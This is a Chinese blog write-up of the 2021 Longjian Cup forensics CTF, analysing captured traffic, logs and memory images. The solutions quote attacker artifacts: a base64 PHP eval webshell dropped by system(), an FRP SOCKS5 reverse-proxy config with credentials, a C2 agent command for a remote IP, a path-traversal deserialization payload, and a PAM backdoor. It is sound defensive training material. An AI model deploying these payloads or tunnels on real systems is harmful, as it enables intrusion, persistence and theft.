应急响应-2021陇剑杯WP详解

2021陇剑杯WP详解

本次复现附件来自于DIDCTF,有兴趣的话,大家也可以去该平台获取附件进行练习

JWT

jwt1

昨天,单位流量系统捕获了⿊客攻击流量,请您分析流量后进⾏回答:
该⽹站使⽤了( )认证方式?(如有字母则默认小写)
注意:此附件适用于jwt所有系列

根据题目即可知道是jwt认证

jwt2

黑客绕过验证使用的jwt中,id和username是___。(中间使用#号隔开,例如1#admin)

查找username

image-20250708180851347

jwt3

黑客获取webshell之后,权限是___?(字母默认小写)

黑客查看自己的权限会使用whoami,搜索whoami后查看响应即可

image-20250708181033626

jwt4

黑客上传的恶意文件文件名是___。(请提交带有文件后缀的文件名,例如x.txt)

直接追踪上一题的流量,直接就能看见恶意文件为1.c

image-20250708181232105

jwt5

黑客在服务器上编译的恶意so文件,文件名是___。(请提交带有文件后缀的文件名,例如x.so)

32条流,不多直接按个查看就行,翻了几个找到对so文件的操作:looter.so

image-20250708181359345

jwt6

黑客在服务器上修改了一个配置文件,文件的绝对路径为___。(请确认绝对路径后再提交)

继续跟踪发现,将恶意so文件放入另一个位置:/etc/pam.d/common-auth

image-20250708181535269

Webshel

Webshell-1

黑客登陆系统使用的密码是__

可以用下边语句进行过滤

http.request.method == "POST" && http contains "login"

也直接搜索password

image-20250707143641415

Webshell-2

黑客修改了一个日志文件,文件的绝对路径为__
答题格式:/xx/xxx/xxx/xxx.log
不区分大小写

过滤POST请求,查看请求信息

http.request.method==POST

前几条能够看见Form item: "tpl" = "data/Runtime/Logs/Home/21_08_07.log"

但这是相对路径

继续跟进查看

image-20250707144156771

写入木马文件

system('echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4=|base64 -d > /var/www/html/1.php');

分析可得绝对路径为:

/var/www/html/data/Runtime/Logs/Home/21_08_07.log

Webshell-3

黑客获取webshell之后的权限是:

先前查看时,发现执行了whoami命令

追踪流看到为www-data

image-20250707144529387

日志错误信息显示:
ERR: ...............:./Application/Home/View/default/www-data
其中www-data即为whoami命令的执行结果,表明当前 Web 服务以www-data用户运行。

Webshell-4

黑客写入的webshell文件名是__。(请提交带有文件后缀的文件名,例如x.txt)

前边已经看见木马文件1.php

Webshell-5

黑客上传的代理工具客户端名字是__。
(如有字母请全部使用小写) 仅文件名,不要后缀名

追踪流发现frpc.ini

image-20250707145257701

FRP 工具确认

  • frpc 是 FRP(Fast Reverse Proxy)的客户端组件,用于实现内网穿透。
  • .ini 文件通常作为 FRP 的配置文件,包含服务器地址、端口、代理规则等信息。
  • 在渗透测试或攻击场景中,攻击者常上传 FRP 客户端以建立反向代理,突破内网限制。

故为 frpc

补充

下边是对webshell工具的流量特征分析

流量分析——菜刀、蚁剑、冰蝎、天蝎、哥斯拉 - sgthlg - 博客园

流量特征分析——蚁剑、菜刀、冰蝎、哥斯拉-CSDN博客

简述一下蚁剑的特征:

  1. 选择不同编码器的数据形式

默认:@ini_set("display_errors", "0");@set_time_limit(0);
image-20250707150913074

  1. 响应包格式由随机数作为定界符包裹结果

image-20250707150703680

  1. 若使用了加密等插件绕过的话,加密后的数据没用什么特别明显的了,但是蚁剑混淆加密后还有一个比较明显的特征,参数大多以“_0x.....=”这种形式,以_0x开头的参数名,这个可能也可以换其他的固定字符,可以找出规律。

Webshell-6

黑客代理工具的回连服务端ip是_。

在上一条流,即在流38中发现一串十六进制代码,这是蚁剑特征的数据流 ,将=号后面的内容进行base16解码

image-20250707145607148

解码后即可看见回连IP

image-20250707145819183

实际攻击行为分析

  1. 文件操作
  • 目标文件frpc.ini(FRP 客户端配置文件)。
  • 操作类型:通过fwrite(fopen($f, "a"), $buf)追加内容到文件中,实现配置文件的修改或创建。
  1. 内网穿透工具部署
  • FRP 配置内容

    [common]
    server_addr = 192.168.239.123
    server_port = 7778
    token=Xa3BJf2l5enmN6Z7A8mv
    
    [test_socks5]
    type = tcp
    remote_port = 8111
    plugin = socks5
    plugin_user = 0HDFt16cLQJ
    plugin_passwd = JTN276Gp
    use_encryption = true
    use_compression = true
    
  • 功能:建立 SOCKS5 代理,将内网 8111 端口转发到远程服务器192.168.239.123:7778,用于横向移动。

Webshell-7

黑客的socks5的连接账号、密码是__。(中间使用#号隔开,例如admin#passwd)

根据上述分析可以得知为:0HDFt16cLQJ#JTN276Gp

日志分析

日志分析-1

题目描述
单位某应用程序被攻击,请分析日志,进行作答:
网络存在源码泄漏,源码文件名是__
注意:此附件适用于日志分析所有题目

分析access.log文件,查找返回为200的请求

image-20250707135934193

发现WWW.zip泄露

日志分析-2

分析攻击流量,黑客往/tmp目录写入一个文件,
文件名为___。

查找tmp

image-20250707140217609

分析目录可知,文件名为sess_car

日志分析-3

分析攻击流量,黑客使用的是__类读取了秘密文件。

上一题中写入的文件就是执行了读操作

172.17.0.1 - - [07/Aug/2021:01:38:20 +0000] "GET /?filename=../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 302 879 "-" "python-requests/2.26.0"

分析该日志可知,这是一个典型的 PHP 序列化字符串,利用SplFileObject类读取/flag文件

故为:SplFileObject

简单日志分析-1

题目描述
某应用程序被攻击,请分析日志后作答:
黑客攻击的参数是___。(如有字母请全部使用小写)
注意:此附件适用于简单日志分析所有题目,后缀名为.zip

目测是GET请求,查找问号

image-20250707141017853

看到访问的参数

简单日志分析-2

黑客查看的秘密文件的绝对路径是___。(不带 / )

先前参数就是执行命令的

image-20250707141316060

将参数解码后即可看见,执行的命令,包括读取文件操作

简单日志分析-3

黑客反弹shell的ip和端口是___。(格式使用“ip:端口",例如127.0.0.1:2333)

同理,将第三个进行解码即可获取反弹shell信息

image-20250707141458660

sql注入

sql1

题目描述
某应用程序被攻击,请分析日志后作答:
黑客在注入过程中采用的注入手法叫___。(格式为4个汉字,例如“拼搏努力”)
注意:此附件适用于SQL注入所有题目

盲猜也能猜到是布尔盲注

简单分析流量也可看出

sql2

黑客在注入过程中,最终获取flag的数据库名、表名和字段名是___。(格式为“数据库名#表名#字段名”,例如database#table#column)

根据最后爆破flag可看出数据库的相关信息

sql3(bool)

黑客最后获取到的flag字符串为__。

使用nodepad手动分析,或者写脚本都可以获取盲注结果

IOS

ios1

题目描述
一位ios的安全研究员在家中使用手机联网被黑,不仅被窃密还丢失比特币若干,请你通过流量和日志分析后作答:
黑客所控制的C&C服务器IP是___。

C&C 服务器(Command & Control Server,命令与控制服务器) 是黑客用于远程控制被控设备(如僵尸网络、恶意软件感染的主机)的核心基础设施。黑客通过 C&C 服务器向被控设备发送指令、接收数据,实现窃取信息、勒索攻击、分布式拒绝服务(DDoS)等恶意行为。获取 C&C 服务器 IP 是网络安全事件响应、溯源追踪的关键步骤。

导出对象分析,倒着查看object发现似乎是按顺序产生的

image-20250707164728232

依次打开后边几个,找到C&C服务器IP

./ios_agent -c 3.128.156.159:8081 -s hack4sec

ip为3.128.156.159

ios2

黑客利用的Github开源项目的名字是___。(如有字母请全部使用小写)

搜索github,接着追踪流

根据github域名可知,项目名为:Stowaway

作者名 ph4ntonn 项目名 Stowaway 软件名 ios_agent

image-20250707165236299

ios3

通讯加密密钥的明文是___。

访问github项目,查看使用方法

image-20250707165908639

在命令 ./ios_agent -c 3.128.156.159:8081 -s hack4sec 中:

  • -c 参数用于指定 C&C 服务器的地址和端口,即连接到 3.128.156.159:8081
  • -s 参数用于指定 通信加密密钥,其明文为 hack4sec

可知秘钥明文为hack4sec

ios4(bool)

黑客通过SQL盲注拿到了一个敏感数据,内容是___。

协议分级可知,传输层全为 TCP ,应用层经 TLS 加密,以 HTTP/2 承载业务

image-20250707192640433

按照http2过滤后进行筛选

image-20250707193152312

找到盲注语句

image-20250707193330342

用作过滤器,由于查询是GET请求,在ip查询基础上再加上请求方式

ip.addr eq 192.168.1.8 and ip.addr eq 192.168.1.12&&http2.headers.method == "GET"

image-20250707200003171

导出后,notepad进行url解码

image-20250707201304820

每次都是从2B开始,找到下一个开始的前一条语句中的字符即为结果,但是还没有很好的办法去搜集

ios5

黑客端口扫描的扫描器的扫描范围是__。(格式使用“开始端口-结束端口”,例如1-65535)

扫描端口分析过程

  1. 端口扫描原理
    黑客通过向目标主机的连续端口发送 TCP/UDP 请求,并根据响应判断端口是否开放。常见的扫描方式包括:
    • TCP SYN 扫描:发送 SYN 包,根据 SYN+ACK(开放)或 RST(关闭)响应判断端口状态。
    • TCP Connect 扫描:完整建立 TCP 连接(三次握手),若成功则端口开放,失败则返回 RST 包。
  2. RST 报文的关键作用
    当扫描器向关闭的端口发送请求时,目标主机会返回RST(复位)报文以终止连接。通过捕获这些 RST 报文,可反向推断扫描器尝试访问的端口范围。
    • 专家信息中的 RST:Wireshark 的 “专家信息” 功能会汇总异常流量,包括频繁的 RST 报文。若发现大量 RST 且目标端口连续,即可确定扫描范围。
  3. 扫描范围的确定
    日志中虽未直接给出端口号,但结合安全实践,黑客通常会进行全端口扫描(1-65535) 以发现潜在漏洞(如 SSH 22、HTTP 80、RDP 3389 等)。此外,Wireshark 专家信息中的 RST 报文若显示连续的端口号(如 20-443),则可直接推断扫描范围。

由于是端口扫描,所以会涉及到rst报文和连续端口访问

分析--》专家信息--》RST--》查找连续端口以确定范围

image-20250707175337443

image-20250707175314185

分析连续端口可知,范围是10-499

ios6

黑客访问/攻击了内网的几个服务器,IP地址为__。(多个IP之间按从小到大排序,使用#来分隔,例如127.0.0.1#192.168.0.1)

先前的bool盲注访问的ip是192.168.1.12

在日志中找到两个ip,只有ip为172.28.0.2能够找到

ip.addr==172.28.0.2

image-20250707180359994

故结果为: 172.28.0.2#192.168.1.12

ios7

黑客写入了一个webshell,其密码为:( )。(如有字母为小写)

webshell写入后是需要密码进行连接的,尝试使用?进行查找,找到ma.php文件跟着参数

image-20250707190745028

故webshell密码为 fxxk

内存分析

内存分析-1

题目描述
网管小王制作了一个虚拟机文件,让您来分析后作答:
虚拟机的密码是___。(密码中为flag{xxxx},含有空格,提交时不要去掉)

除了Target.vmem镜像文件,还有一个提示:

no space but underline

奇怪,题目上答案要求有空格

加载镜像文件

image-20250708163737128

使用lsadump查看密码

image-20250708163834291

隐约看见flag信息,但是有多余字符

image-20250708163917590

將00替換为空,转hex,去掉开头的H,就是完整flag

其实默认在系统密码中就有

image-20250708165353671

内存分析-2

虚拟机中有一个某品牌手机的备份文件,文件里的图片里的字符串为__。(解题过程中需要用到上一题答案中flag内的内容进行处理。本题的格式也是flag{xx},答案含有空格时,空格不要去掉)

进行文件分析,查找 image

image-20250708175646583

看到有一个图片信息,下载后分析

由于华为手机助手加密的文件解密时需要依赖整个文件夹中的文件,只有一个enc是不行的,还需要另一个exe文件

查找 HUAWEI,找到exe

image-20250708174928077

將exe文件下载下来,当做zip打开

image-20250708175046720

去github找项目恢复文件

GitHub - RealityNet/kobackupdec: Huawei backup decryptor

根据参数要求,题目提示密码是上一问的flag,并且要把空格换为下划线,运行脚本进行恢复

python3 kobackupdec.py -vvv W31C0M3_T0_THiS_34SY_F0R3NSiCX "../HUAWEI P40_2021-aa-bb xx.yy.zz" ../result

image-20250708173032722

恢复的结果中有一个压缩包,打开就是需要的加密图片

image-20250708173125697

参考wp

完整的wp,但是不太详细

2021 陇剑杯wp - twosmi1e - 博客园

posted @ 2025-07-15 15:04  F0T0ne  阅读(4)  评论(0)    收藏  举报